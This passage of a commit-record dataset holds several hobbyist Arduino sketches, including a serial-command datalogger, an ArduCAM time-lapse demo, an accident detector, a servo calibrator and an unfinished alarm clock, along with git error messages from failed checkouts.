datalogging (will overwrite old datalog.csv)\\n\"));\r\n Serial.print(F(\" S -- Stop datalogging\\n\"));\r\n Serial.print(F(\" u -- Update date\/time\\n\"));\r\n Serial.print(F(\">> User 1: \"));\r\n break;\r\n\r\n case 'i':\r\n Serial.println(F(\">> Loger: Initializing SD Card...\")); \/\/ Initialize SD card\r\n if(!SD.begin())\r\n { \r\n Serial.print(F(\">> Logger: Initialization Failed\\n>> User 1: \")); \/\/ If initialization fails, say so.\r\n SDinit = false;\r\n break;\r\n }\r\n SDinit = true;\r\n Serial.print(F(\">> Logger: Initialization Complete\\n>> User 1: \"));\r\n break;\r\n\r\n case 's':\r\n if(!logging)\r\n {\r\n if(!SDinit)\r\n {\r\n Serial.print(F(\">> Logger: SD card not initialized.\\n>> User 1: \"));\r\n break;\r\n }\r\n logging = true; \/\/ Start logging data\r\n EIMSK |= (1 << INT0); \/\/ Enable Hall Effect Sensor interrupt\r\n recordNum = 1;\r\n if(SD.exists(F(\"datalog.csv\"))) \/\/ If datalog.csv does not exist on the SD card, write a header.\r\n {\r\n SD.remove(\"datalog.csv\");\r\n }\r\n dataFile = SD.open(F(\"datalog.csv\"), FILE_WRITE);\r\n dataFile.println(F(\"Residential Datalogger\"));\r\n dataFile.println(F(\"Date,Record Number,Pulse Count\"));\r\n dataFile.close();\r\n Serial.print(F(\">> Logger: Datalogging Started. \\n>> User 1: \"));\r\n }\r\n else\r\n {\r\n Serial.print(F(\">> Logger: Already logging. \\n>> User 1: \"));\r\n }\r\n break;\r\n\r\n case 'S':\r\n if(logging)\r\n {\r\n logging = false; \/\/ Start logging data\r\n EIMSK &= ~(1 << INT0); \/\/ Disable Hall Effect Sensor interrupt\r\n Serial.print(F(\">> Logger: Datalogging Stopped. \\n>> User 1: \"));\r\n }\r\n else\r\n {\r\n Serial.print(F(\">> Logger: No logging to stop. \\n>> User 1: \"));\r\n }\r\n break;\r\n\r\n case 'u':\r\n short shortInput;\r\n shortInput = 0;\r\n bool gotIt;\r\n Serial.print(F(\">> Logger: Year: (yyyy)\\n>> User 1: \"));\r\n years = 0;\r\n gotIt = false;\r\n while(!Serial.available());\r\n while(!gotIt)\r\n {\r\n input = Serial.read();\r\n if(47 < input && input < 58)\r\n {\r\n input = input - 48;\r\n shortInput = input;\r\n shortInput = shortInput * 1000;\r\n years += shortInput;\r\n gotIt = true;\r\n }\r\n }\r\n gotIt = false;\r\n while(!gotIt)\r\n {\r\n input = Serial.read();\r\n if(47 < input && input < 58)\r\n {\r\n input = input - 48;\r\n shortInput = input;\r\n shortInput = shortInput * 100;\r\n years += shortInput;\r\n gotIt = true;\r\n }\r\n }\r\n gotIt = false;\r\n while(!gotIt)\r\n {\r\n input = Serial.read();\r\n if(47 < input && input < 58)\r\n {\r\n input = input - 48;\r\n input = input * 10;\r\n years += input;\r\n gotIt = true;\r\n }\r\n }\r\n gotIt = false;\r\n while(!gotIt)\r\n {\r\n input = Serial.read();\r\n if(47 < input && input < 58)\r\n {\r\n input = input - 48;\r\n years += input;\r\n gotIt = true;\r\n }\r\n }\r\n Serial.print(years);\r\n Serial.print(F(\"\\n>> Logger: Month: (mm)\\n>> User 1: \"));\r\n months = 0;\r\n gotIt = false;\r\n while(!Serial.available());\r\n while(!gotIt)\r\n {\r\n input = Serial.read();\r\n if(47 < input && input < 58)\r\n {\r\n input = input - 48;\r\n input = input * 10;\r\n months += input;\r\n gotIt = true;\r\n }\r\n }\r\n gotIt = false;\r\n while(!gotIt)\r\n {\r\n input = Serial.read();\r\n if(47 < input && input < 58)\r\n {\r\n input = input - 48;\r\n months += input;\r\n gotIt = true;\r\n }\r\n }\r\n Serial.print(months);\r\n Serial.print(F(\"\\n>> Logger: Day: (dd)\\n>> User 1: \"));\r\n days = 0;\r\n gotIt = false;\r\n while(!Serial.available());\r\n while(!gotIt)\r\n {\r\n input = Serial.read();\r\n if(47 < input && input < 58)\r\n {\r\n input = input - 48;\r\n input = input * 10;\r\n days += input;\r\n gotIt = true;\r\n }\r\n }\r\n gotIt = false;\r\n while(!gotIt)\r\n {\r\n input = Serial.read();\r\n if(47 < input && input < 58)\r\n {\r\n input = input - 48;\r\n days += input;\r\n gotIt = true;\r\n }\r\n }\r\n Serial.print(days);\r\n Serial.print(F(\"\\n>> Logger: Hour: (hh)\\n>> User 1: \"));\r\n hours = 0;\r\n gotIt = false;\r\n while(!Serial.available());\r\n while(!gotIt)\r\n {\r\n input = Serial.read();\r\n if(47 < input && input < 58)\r\n {\r\n input = input - 48;\r\n input = input * 10;\r\n hours += input;\r\n gotIt = true;\r\n }\r\n }\r\n gotIt = false;\r\n while(!gotIt)\r\n {\r\n input = Serial.read();\r\n if(47 < input && input < 58)\r\n {\r\n input = input - 48;\r\n hours += input;\r\n gotIt = true;\r\n }\r\n }\r\n Serial.print(hours);\r\n Serial.print(F(\"\\n>> Logger: Minute: (mm)\\n>> User 1: \"));\r\n minutes = 0;\r\n gotIt = false;\r\n while(!Serial.available());\r\n while(!gotIt)\r\n {\r\n input = Serial.read();\r\n if(47 < input && input < 58)\r\n {\r\n input = input - 48;\r\n input = input * 10;\r\n minutes += input;\r\n gotIt = true;\r\n }\r\n }\r\n gotIt = false;\r\n while(!gotIt)\r\n {\r\n input = Serial.read();\r\n if(47 < input && input < 58)\r\n {\r\n input = input - 48;\r\n minutes += input;\r\n gotIt = true;\r\n }\r\n }\r\n Serial.print(minutes);\r\n Serial.print(F(\"\\n>> Logger: Done. \\n>> User 1: \"));\r\n break;\r\n \r\n \/\/ Easter Eggs!\r\n case 'J':\r\n Serial.print(F(\">> Logger: J <3 J\\n>> User 1: \"));\r\n break;\r\n\r\n case 'L':\r\n Serial.print(F(\">> Logger: Haha. You can never stop GNU\/Linux from taking over the world.\\n>> User 1: \"));\r\n break;\r\n\r\n case 'M':\r\n Serial.print(F(\">> Logger: ...\\\"Have you mooed today?\\\"...\\n>> User 1: \"));\r\n break;\r\n\r\n case '\\n':\r\n break;\r\n\r\n default: \/\/ If the command is invalid, prompt the user and introduce 'h' option.\r\n Serial.print(F(\">> Logger: Unknown command. Use the command \\\"h\\\" for a list of commands.\\n>> User 1: \"));\r\n break;\r\n }\r\n }\r\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/piggy_back_loggers\/Integrated_Test_PowerSleep.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"87083c38c20767b87bd7b2121049206456a6c8bb","subject":"Cerveau: AI - add testTirette","message":"Cerveau: AI - add testTirette\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module Cerveau\/Artificial Intelligence\/ai\/ai\/ai.ino","new_file":"Module Cerveau\/Artificial Intelligence\/ai\/ai\/ai.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'Cerveau\/Artificial' did not match any file(s) known to git\nerror: pathspec 'Intelligence\/ai\/ai\/ai.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a6810004a399a56d3dd4fe9b0e3d3f75610cf507","subject":"Added to main Emulated code to main project","message":"Added to main Emulated code to main project\n","repos":"TheBeachMaster\/DemoIOT","old_file":"IOTSln\/William\/William.ino","new_file":"IOTSln\/William\/William.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TheBeachMaster\/DemoIOT.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"4a3f3bbad06d718ae0eca912aac769edcef51be7","subject":"Add ArduCAM Mini 5MP Time Elapse Capture and Save to SD Card Demo","message":"Add ArduCAM Mini 5MP Time Elapse Capture and Save to SD Card Demo\n","repos":"Oitzu\/Arduino,ArduCAM\/Arduino,ArduCAM\/Arduino,ArduCAM\/Arduino,Oitzu\/Arduino,Oitzu\/Arduino","old_file":"ArduCAM\/examples\/mini\/ArduCAM_Mini_5MP_TimeElapse2SD\/ArduCAM_Mini_5MP_TimeElapse2SD.ino","new_file":"ArduCAM\/examples\/mini\/ArduCAM_Mini_5MP_TimeElapse2SD\/ArduCAM_Mini_5MP_TimeElapse2SD.ino","new_contents":"\/\/ ArduCAM demo (C)2015 Lee\n\/\/ web: http:\/\/www.ArduCAM.com\n\/\/ This program is a demo of how to use most of the functions\n\/\/ of the library with a supported camera modules, and can run on any Arduino platform.\n\/\/\n\/\/ This demo was made for Omnivision OV5642 5MP sensor.\n\/\/ It will run the ArduCAM Mini 5MP as a real 5MP digital camera, provide JPEG capture.\n\/\/ The demo sketch will do the following tasks:\n\/\/ 1. Set the sensor to JPEG mode.\n\/\/ 2. Capture and buffer the image to FIFO every 5 seconds\n\/\/ 3. Store the image to Micro SD\/TF card with JPEG format in sequential.\n\/\/ 4. Resolution can be changed by myCAM.OV5642_set_JPEG_size() function.\n\/\/ This program requires the ArduCAM V3.4.0 (or later) library and ArduCAM Mini 5MP shield\n\/\/ and use Arduino IDE 1.5.2 compiler or above\n\n\n#include <UTFT_SPI.h>\n#include <SD.h>\n#include <Wire.h>\n#include <ArduCAM.h>\n#include <SPI.h>\n#include \"memorysaver.h\"\n\n#if defined(__arm__)\n#include <itoa.h>\n#endif\n\n#define SD_CS 9\n\/\/ set pin 10 as the slave select for SPI:\nconst int SPI_CS = 4;\n\nArduCAM myCAM(OV5642, SPI_CS);\nUTFT myGLCD(SPI_CS);\nboolean isShowFlag = true;\n\nvoid setup()\n{\n uint8_t vid, pid;\n uint8_t temp;\n#if defined (__AVR__)\n Wire.begin();\n#endif\n#if defined(__arm__)\n Wire1.begin();\n#endif\n Serial.begin(115200);\n Serial.println(\"ArduCAM Start!\");\n \/\/ set the SPI_CS as an output:\n pinMode(SPI_CS, OUTPUT);\n\n \/\/ initialize SPI:\n SPI.begin();\n \/\/Check if the ArduCAM SPI bus is OK\n myCAM.write_reg(ARDUCHIP_TEST1, 0x55);\n temp = myCAM.read_reg(ARDUCHIP_TEST1);\n if (temp != 0x55)\n {\n Serial.println(\"SPI interface Error!\");\n while (1);\n }\n\n\n \/\/Check if the camera module type is OV5642\n myCAM.rdSensorReg16_8(OV5642_CHIPID_HIGH, &vid);\n myCAM.rdSensorReg16_8(OV5642_CHIPID_LOW, &pid);\n if ((vid != 0x56) || (pid != 0x42))\n Serial.println(\"Can't find OV5642 module!\");\n else\n Serial.println(\"OV5642 detected\");\n\n\n \/\/Change to JPEG capture mode and initialize the OV5642 module\n myCAM.set_format(JPEG);\n\n myCAM.InitCAM();\n myCAM.write_reg(ARDUCHIP_TIM, VSYNC_LEVEL_MASK);\t\t\/\/VSYNC is active HIGH\n myCAM.OV5642_set_JPEG_size(OV5642_320x240);\n \/\/ myCAM.OV5642_set_JPEG_size(OV5642_640x480);\n \/\/ myCAM.OV5642_set_JPEG_size(OV5642_1280x720);\n \/\/ myCAM.OV5642_set_JPEG_size(OV5642_1920x1080);\n \/\/ myCAM.OV5642_set_JPEG_size(OV5642_2048x1563);\n \/\/ myCAM.OV5642_set_JPEG_size(OV5642_2592x1944);\n \/\/Initialize SD Card\n if (!SD.begin(SD_CS))\n {\n \/\/while (1);\t\t\/\/If failed, stop here\n Serial.println(\"SD Card Error\");\n }\n else\n Serial.println(\"SD Card detected!\");\n}\n\nvoid loop()\n{\n char str[8];\n File outFile;\n byte buf[256];\n static int i = 0;\n static int k = 0;\n static int n = 0;\n uint8_t temp, temp_last;\n uint8_t start_capture = 0;\n int total_time = 0;\n\n start_capture = 1;\n delay(5000);\n\n if (start_capture)\n {\n \/\/Flush the FIFO\n myCAM.flush_fifo();\n \/\/Clear the capture done flag\n myCAM.clear_fifo_flag();\n \/\/Start capture\n myCAM.start_capture();\n Serial.println(\"Start Capture\");\n }\n\n while (!myCAM.get_bit(ARDUCHIP_TRIG , CAP_DONE_MASK));\n\n Serial.println(\"Capture Done!\");\n \/\/Construct a file name\n k = k + 1;\n itoa(k, str, 10);\n strcat(str, \".jpg\");\n \/\/Open the new file\n outFile = SD.open(str, O_WRITE | O_CREAT | O_TRUNC);\n if (! outFile)\n {\n Serial.println(\"open file failed\");\n return;\n }\n total_time = millis();\n\n i = 0;\n myCAM.CS_LOW();\n myCAM.set_fifo_burst();\n temp = SPI.transfer(0x00);\n\n \/\/Read JPEG data from FIFO\n while ( (temp != 0xD9) | (temp_last != 0xFF) )\n {\n temp_last = temp;\n temp = SPI.transfer(0x00);;\n \/\/Write image data to buffer if not full\n if (i < 256)\n buf[i++] = temp;\n else\n {\n \/\/Write 256 bytes image data to file\n myCAM.CS_HIGH();\n outFile.write(buf, 256);\n i = 0;\n buf[i++] = temp;\n myCAM.CS_LOW();\n myCAM.set_fifo_burst();\n }\n }\n \/\/Write the remain bytes in the buffer\n if (i > 0)\n {\n myCAM.CS_HIGH();\n outFile.write(buf, i);\n }\n \/\/Close the file\n outFile.close();\n total_time = millis() - total_time;\n Serial.print(\"Total time used:\");\n Serial.print(total_time, DEC);\n Serial.println(\" millisecond\");\n \/\/Clear the capture done flag\n myCAM.clear_fifo_flag();\n \/\/Clear the start capture flag\n start_capture = 0;\n\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ArduCAM\/examples\/mini\/ArduCAM_Mini_5MP_TimeElapse2SD\/ArduCAM_Mini_5MP_TimeElapse2SD.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a917f7e320b2909fa2280bb40051f64539c6f921","subject":"\u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u043f\u0440\u0438\u043c\u0435\u0440 \u0441 \u0441\u0435\u043a\u0443\u043d\u0434\u043e\u043c\u0435\u0440\u043e\u043c","message":"\u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u043f\u0440\u0438\u043c\u0435\u0440 \u0441 \u0441\u0435\u043a\u0443\u043d\u0434\u043e\u043c\u0435\u0440\u043e\u043c\n","repos":"FinesseRus\/Segment7Display","old_file":"examples\/Timer.ino","new_file":"examples\/Timer.ino","new_contents":"\/*\n\u0412\u044b\u0432\u043e\u0434\u0438\u0442 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0441\u0435\u043a\u0443\u043d\u0434, \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0438\u0445 \u0441 \u043d\u0430\u0447\u0430\u043b\u0430 \u0440\u0430\u0431\u043e\u0442\u044b\n*\/\n\n#include <Segment7Display.h>\n\n#define DIN 4\n#define LOAD 3\n#define CLK 2\n\nSegment7Display led(DIN, CLK, LOAD);\n\nvoid setup() {\n led.reset();\n}\n\nvoid loop() {\n led.printFloat((float)millis() \/ 1000, 1);\n delay(10);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Timer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"04d119800100a43f22e1fb47486da08101d81cfd","subject":" Project 10","message":" Project 10\n","repos":"andpei\/arduino-sketchbook,andpei\/arduino-sketchbook","old_file":"Project_10_Piezo\/Project_10_Piezo.ino","new_file":"Project_10_Piezo\/Project_10_Piezo.ino","new_contents":"int pinPiezo = 12;\nint inputAnalog1 = 14;\nint inputAnalog1Value = 0;\n\nvoid setup() {\n pinMode(pinPiezo, OUTPUT);\n Serial.begin(9600);\n}\n\nvoid loop() {\n inputAnalog1Value = analogRead(inputAnalog1) * 10;\n Serial.println(inputAnalog1Value);\n tone(pinPiezo, inputAnalog1Value);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Project_10_Piezo\/Project_10_Piezo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a0e7808a7ac2590368799033752ab26e35a81d22","subject":"Advanced algorithm","message":"Advanced algorithm\n\nDetects from which direction the hit happened\n","repos":"accident-detection\/module_AccidentDetection,accident-detection\/module_AccidentDetection","old_file":"src\/AccidentDetector\/AccidentDetectorAdvanced.ino\/AccidentDetectorAdvanced.ino.ino","new_file":"src\/AccidentDetector\/AccidentDetectorAdvanced.ino\/AccidentDetectorAdvanced.ino.ino","new_contents":"\/\/1. Library\n#include \"Wire.h\"\n#include \"HMC5883L.h\"\n\n\/\/2. Global variables\nHMC5883L compass;\nfloat xv, yv, zv;\nfloat xold, yold, zold;\n\n\/\/3. Pinns\n#define triggerInput_front 7\n#define echoOutput_front 6\n#define triggerInput_back 4\n#define echoOutput_back 3\n#define critical_distance 20\n#define critical_gyro_up 1.20\n#define critical_gyro_down 0.80\n\nvoid setup() {\n Serial.begin(9600);\n Wire.begin();\n compass = HMC5883L();\n setupHMC5883L();\n pinMode(triggerInput_front, OUTPUT);\n pinMode(echoOutput_front, INPUT);\n pinMode(triggerInput_back, OUTPUT);\n pinMode(echoOutput_back, INPUT);;\n}\n\nvoid loop() {\n int accidentState = 5;\n AccidentDetector(&accidentState);\n Serial.println(accidentState);\n switch (accidentState) {\n case 5:\n Serial.println(\"205 - Hit from back! DistanceBack -> Gyro\");\n break;\n case 6:\n Serial.println(\"206 - Hit in front! DistanceFront -> Gyro\");\n break;\n case 7:\n Serial.println(\"207 - Hit while surrounded! Distances -> Gyro\");\n break;\n case 8:\n Serial.println(\"208 - Hit in front! Gyro -> DistanceFront\");\n break;\n case 9:\n Serial.println(\"209 - Hit in back! Gyro -> DistanceBack!\");\n break;\n default:\n Serial.println(\"200 - Everything ok!\");\n break;\n }\n}\n\nvoid AccidentDetector(int* state) {\n\n bool distanceFront, distanceBack;\n bool gyroWarning;\n int newState;\n\n \/\/Polling Gyroscope and Distance sensors\n gyroWarning = ReadGyro();\n distanceFront = ReadDistanceFront();\n distanceBack = ReadDistanceBack();\n\n \/\/Calculating new state\n if (gyroWarning == false) {\t\/\/0XX\n if (distanceFront == false) {\t\/\/00X\n if (distanceBack == false)\t\/\/000\n newState = 0;\n else \/\/001\n newState = 1;\n }\n else {\t\/\/01X\n if (distanceBack == false)\t\/\/010\n newState = 2;\n else \/\/011\n newState = 3;\n }\n }\n else {\t\/\/1XX\n if (distanceFront == false) {\t\/\/10X\n if (distanceBack == false)\t \/\/100\n newState = 4;\n else \/\/101\n newState = 5;\n }\n else { \/\/11X\n if (distanceBack == false)\t \/\/110\n newState = 6;\n else \/\/111\n newState = 7;\n }\n }\n\n switch (newState) {\n case 5:\n if (*state == 4)\n *state = 9;\n else\n *state = 5;\n break;\n case 6:\n if (*state == 4)\n *state = 8;\n else\n *state = 6;\n break;\n case 7:\n *state = 7;\n break;\n default:\n *state = newState;\n break;\n }\n return;\n}\n\nbool ReadDistanceFront()\n{\n long duration_front, distance_front;\n\n digitalWrite(triggerInput_front, LOW);\n digitalWrite(triggerInput_front, HIGH);\n digitalWrite(triggerInput_front, LOW);\n\n duration_front = pulseIn(echoOutput_front, HIGH);\n distance_front = (duration_front \/ 2.) \/ 29.1;\n return (distance_front < (long)critical_distance);\n}\n\nbool ReadDistanceBack()\n{\n long duration_back, distance_back;\n\n digitalWrite(triggerInput_back, LOW);\n digitalWrite(triggerInput_back, HIGH);\n digitalWrite(triggerInput_back, LOW);\n\n duration_back = pulseIn(echoOutput_back, HIGH);\n distance_back = (duration_back \/ 2.) \/ 29.1;\n return (distance_back < (long)critical_distance);\n}\n\nbool ReadGyro() {\n getHeading();\n\n \/\/Algorithm for determination of critical gyro change\n bool gyroChange = false;\n if (abs(xv) > abs(xold * critical_gyro_up) ||\n abs(xv) < abs(xold * critical_gyro_down) ||\n abs(yv) > abs(yold * critical_gyro_up) ||\n abs(yv) < abs(yold * critical_gyro_down) ||\n abs(zv) > abs(zold * critical_gyro_up) ||\n abs(zv) < abs(zold * critical_gyro_down)\n ) {\n gyroChange = true;\n }\n\n xold = xv;\n yold = yv;\n zold = zv;\n\n return gyroChange;\n}\n\nvoid setupHMC5883L()\n{\n compass.SetScale(0.88);\n compass.SetMeasurementMode(Measurement_Continuous);\n}\n\nvoid getHeading()\n{\n MagnetometerRaw raw = compass.ReadRawAxis();\n xv = (float)raw.XAxis;\n yv = (float)raw.YAxis;\n zv = (float)raw.ZAxis;\n}\n\nfloat calibrated_values[3];\n\nvoid transformation(float uncalibrated_values[3]) {\n double calibration_matrix[3][3] =\n {\n { 1.078, 0.009, 0.003 },\n { 0.014, 1.073, -0.162 },\n { 0.038, 0.009, 1.216 }\n };\n\n double bias[3] =\n {\n -175.886,\n -190.091,\n 57.551\n };\n\n for (int i = 0; i < 3; ++i)\n uncalibrated_values[i] = uncalibrated_values[i] - bias[i];\n\n float result[3] = { 0, 0, 0 };\n\n for (int i = 0; i < 3; ++i)\n for (int j = 0; j < 3; ++j)\n result[i] += calibration_matrix[i][j] * uncalibrated_values[j];\n\n for (int i = 0; i < 3; ++i)\n calibrated_values[i] = result[i];\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/AccidentDetector\/AccidentDetectorAdvanced.ino\/AccidentDetectorAdvanced.ino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"685245a96c757821e3ab15421e3123adfdc4b170","subject":"mano v0.1 - InMoov Hand - AILR","message":"mano v0.1 - InMoov Hand - AILR\n\nThis version it's used to calibrate and try Servomotors with Arduino Boards.. \r\n2016.\r\nAngel Iv\u00e1n Lozano Ram\u00edrez.\r\nhttps:\/\/goo.gl\/rQB4H5","repos":"ailr16\/InMoov-Control---AILR","old_file":"mano_v0.1\/mano_v0.1.ino","new_file":"mano_v0.1\/mano_v0.1.ino","new_contents":"\/*\n * C\u00f3digo para calibraci\u00f3n y prueba de Servomotores\n * Por Angel Iv\u00e1n Lozano Ram\u00edrez\n * 2016\n * https:\/\/github.com\/ailr16\/InMoov-Control---AILR\n * https:\/\/www.youtube.com\/channel\/UCJ5MFm2qRBsL5Vf8Yft5vpw\n *\/\n\n#include <Servo.h> \/\/Librer\u00eda para control de servos\n\nServo motor; \/\/Creaci\u00f3n de servo\n\nint pot = 0; \/\/Pin A0 para leer valor anal\u00f3gico\nint angulo = 0; \/\/Valor tipo entero de 0 para \u00e1ngulo\nint valor = 0;\n\n\nvoid setup() {\n pinMode(pot, INPUT); \/\/Pin A0 como entrada\n motor.attach(9); \/\/Servomotor en pin 9\n Serial.begin(9600); \/\/Iniciar comunicaci\u00f3n serie con PC\n}\n\nvoid loop() {\n \n valor = analogRead(A0); \/\/Asignar lectura anal\u00f3gica a entero valor\n angulo = map( valor, 0, 1024, 5, 180); \/\/Mapear l\u00edmites y asignar a entero \u00e1ngulo\n motor.write(angulo); \/\/Escribir \u00e1ngulo en servomotor\n delay(1); \/\/Retardo de 1ms\n \n Serial.println(valor); \/\/Imprimir valor en monitor serial\n\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'mano_v0.1\/mano_v0.1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"00ceafa114a4fb1afefff82fba543db6da96c8b2","subject":"first","message":"first\n","repos":"jtwalters\/arduino-alarm,jtwalters\/arduino-alarm,jtwalters\/arduino-alarm","old_file":"alarm.ino","new_file":"alarm.ino","new_contents":"#include <EEPROMAnything.h>\n#include <AnalogButtons.h>\n#include <Button.h>\n#include <DS1307.h>\n#include <EEPROM.h>\n#include <Timer.h>\n#include <Wire.h>\n#include <Adafruit_GFX.h>\n#include <Adafruit_LEDBackpack.h>\n\n#define BUTTON_PULLUP true\n#define BUTTON_INVERT true\n#define BUTTON_DEBOUNCE 1\n#define BUTTON_MARGIN 10\n#define BUTTON_LONG 1000\n#define SPEAKER_PIN 9\n#define LED_PIN 10\n#define JOYSTICK_X_PIN A1\n#define JOYSTICK_Y_PIN A0\n#define SELECT_PIN A2\n#define MENU_MAX 3\n#define TIME_HEADER \"T\" \/\/ Header tag for serial time sync message\n#define DEFAULT_TIME 1420070400UL \/\/ 1\/1\/2015 00:00:00 GMT\n#define MENU_NONE 0\n#define MENU_TIME 1\n#define MENU_ALARM 2\n#define MENU_SNOOZE 3\n#define EEPROM_ADDRESS 0\n#define ALARM_FREQ 2110\n\n\/\/ Simple 12-hour time storing struct.\nstruct Time12H {\n byte hour = 0;\n byte minute = 0;\n};\n\n\/\/ EEPROM storage struct to load in setup() and save during menu operations.\nstruct AlarmData {\n char header = 'A';\n byte hour = 0;\n byte minute = 0;\n byte snoozeMinutes = 10;\n byte status = 0;\n};\n\n\/\/ All of the possible program states are listed here.\nenum {\n \/\/ Showing the current time.\n TIME,\n \/\/ Alarm is on\/sounding.\n ALARM_ACTIVE,\n \/\/ Alarm is on, but snoozed.\n ALARM_SNOOZE,\n \/\/ Menu (config) mode.\n MENU\n};\nbyte state = TIME;\n\nbyte tickEvent = 0;\nbyte displayEvent = 0;\nbyte menuIndex = 0;\nbool context = 0;\nbool isColonOn = true;\nbool isModified = false;\nbool isLongPressed = false;\nbool isAlarmSound = false;\nbool hasSnoozed = false;\nunsigned long snoozeMillis = 0;\n\nAnalog::Buttons xButtons = Analog::Buttons(JOYSTICK_X_PIN, BUTTON_DEBOUNCE, BUTTON_MARGIN);\nAnalog::Buttons yButtons = Analog::Buttons(JOYSTICK_Y_PIN, BUTTON_DEBOUNCE, BUTTON_MARGIN);\nButton selectBtn = Button(SELECT_PIN, BUTTON_PULLUP, BUTTON_INVERT, BUTTON_DEBOUNCE);\nAdafruit_7segment matrix = Adafruit_7segment();\nDS1307 clock;\nRTCDateTime dt;\nTime12H editTime;\nAlarmData alarm;\nTimer t;\n\n\/\/ Joystick LEFT\nvoid handleButtonLeft() {\n if (state == MENU && menuIndex == MENU_TIME) {\n if (editTime.minute == 0) {\n editTime.minute = 59;\n }\n else {\n editTime.minute--;\n }\n }\n else if (state == MENU && menuIndex == MENU_ALARM) {\n if (alarm.minute == 0) {\n alarm.minute = 59;\n }\n else {\n alarm.minute--;\n }\n }\n else if (state == MENU && menuIndex == MENU_SNOOZE) {\n if (alarm.snoozeMinutes == 1) {\n alarm.snoozeMinutes = 15;\n }\n else {\n alarm.snoozeMinutes--;\n }\n }\n isModified = true;\n tone(SPEAKER_PIN, 1500, 10);\n updateDisplay(&context);\n}\n\n\/\/ Joystick RIGHT\nvoid handleButtonRight() {\n if (state == MENU && menuIndex == MENU_TIME) {\n if (editTime.minute == 59) {\n editTime.minute = 0;\n }\n else {\n editTime.minute++;\n }\n }\n else if (state == MENU && menuIndex == MENU_ALARM) {\n if (alarm.minute == 59) {\n alarm.minute = 0;\n }\n else {\n alarm.minute++;\n }\n }\n else if (state == MENU && menuIndex == MENU_SNOOZE) {\n if (alarm.snoozeMinutes == 15) {\n alarm.snoozeMinutes = 1;\n }\n else {\n alarm.snoozeMinutes++;\n }\n }\n isModified = true;\n tone(SPEAKER_PIN, 2000, 10);\n updateDisplay(&context);\n}\n\n\/\/ Joystick UP\nvoid handleButtonUp() {\n if (state == MENU && menuIndex == MENU_TIME) {\n if (editTime.hour == 23) {\n editTime.hour = 0;\n }\n else {\n editTime.hour++;\n }\n }\n else if (state == MENU && menuIndex == MENU_ALARM) {\n if (alarm.hour == 23) {\n alarm.hour = 0;\n }\n else {\n alarm.hour++;\n }\n }\n isModified = true;\n tone(SPEAKER_PIN, 2000, 10);\n updateDisplay(&context);\n}\n\n\/\/ Joystick DOWN\nvoid handleButtonDown() {\n if (state == MENU && menuIndex == MENU_TIME) {\n if (editTime.hour == 0) {\n editTime.hour = 23;\n }\n else {\n editTime.hour--;\n }\n }\n else if (state == MENU && menuIndex == MENU_ALARM) {\n if (alarm.hour == 0) {\n alarm.hour = 23;\n }\n else {\n alarm.hour--;\n }\n }\n isModified = true;\n tone(SPEAKER_PIN, 1500, 10);\n updateDisplay(&context);\n}\n\nvoid setup() {\n Serial.begin(9600);\n\n EEPROM_readAnything(EEPROM_ADDRESS, alarm);\n\n\n pinMode(LED_PIN, OUTPUT);\n pinMode(SELECT_PIN, INPUT_PULLUP);\n\n matrix.begin(0x70);\n matrix.setBrightness(0);\n matrix.writeDisplay();\n\n \/\/ Each button is defined in isolation in terms of:\n \/\/ - an associated value (an unsigned 10 bits integer in the [0-1023] range)\n \/\/ - a click function executed upon button click\n \/\/ - an hold function executed once the button is identified as being held (defaults to click function)\n \/\/ - an hold duration determining the number of milliseconds the button must remain pressed before being identified as held down (defaults to 1 second)\n \/\/ - an hold interval determining the number of milliseconds between each activation of the hold function while the button is kept pressed (defaults to 250 milliseconds)\n Analog::Button leftBtn = Analog::Button(1023 - BUTTON_MARGIN, &handleButtonLeft);\n Analog::Button rightBtn = Analog::Button(0 + BUTTON_MARGIN, &handleButtonRight);\n xButtons.add(leftBtn);\n xButtons.add(rightBtn);\n Analog::Button upBtn = Analog::Button(1023 - BUTTON_MARGIN, &handleButtonUp);\n Analog::Button downBtn = Analog::Button(0 + BUTTON_MARGIN, &handleButtonDown);\n yButtons.add(upBtn);\n yButtons.add(downBtn);\n\n tickEvent = t.every(20, tick, (void*)0);\n displayEvent = t.every(333, updateDisplay, (void*)0);\n}\n\nvoid loop() {\n \/\/ Update timer.\n t.update();\n}\n\nvoid tick(void* context) {\n readSelectButton();\n xButtons.check();\n yButtons.check();\n}\n\nvoid readSelectButton() {\n selectBtn.read();\n \/\/ Button released?\n if (selectBtn.wasReleased()) {\n if (isLongPressed) {\n tone(SPEAKER_PIN, 1000, 40);\n if (state == ALARM_ACTIVE || state == ALARM_SNOOZE) {\n \/\/ Alarm active or snoozed? Turn off the alarm.\n snoozeStart();\n state = TIME;\n }\n else if (state == TIME) {\n \/\/ In normal time mode, a long press toggles the alarm.\n alarm.status = !alarm.status;\n writeAlarmData();\n }\n }\n else if 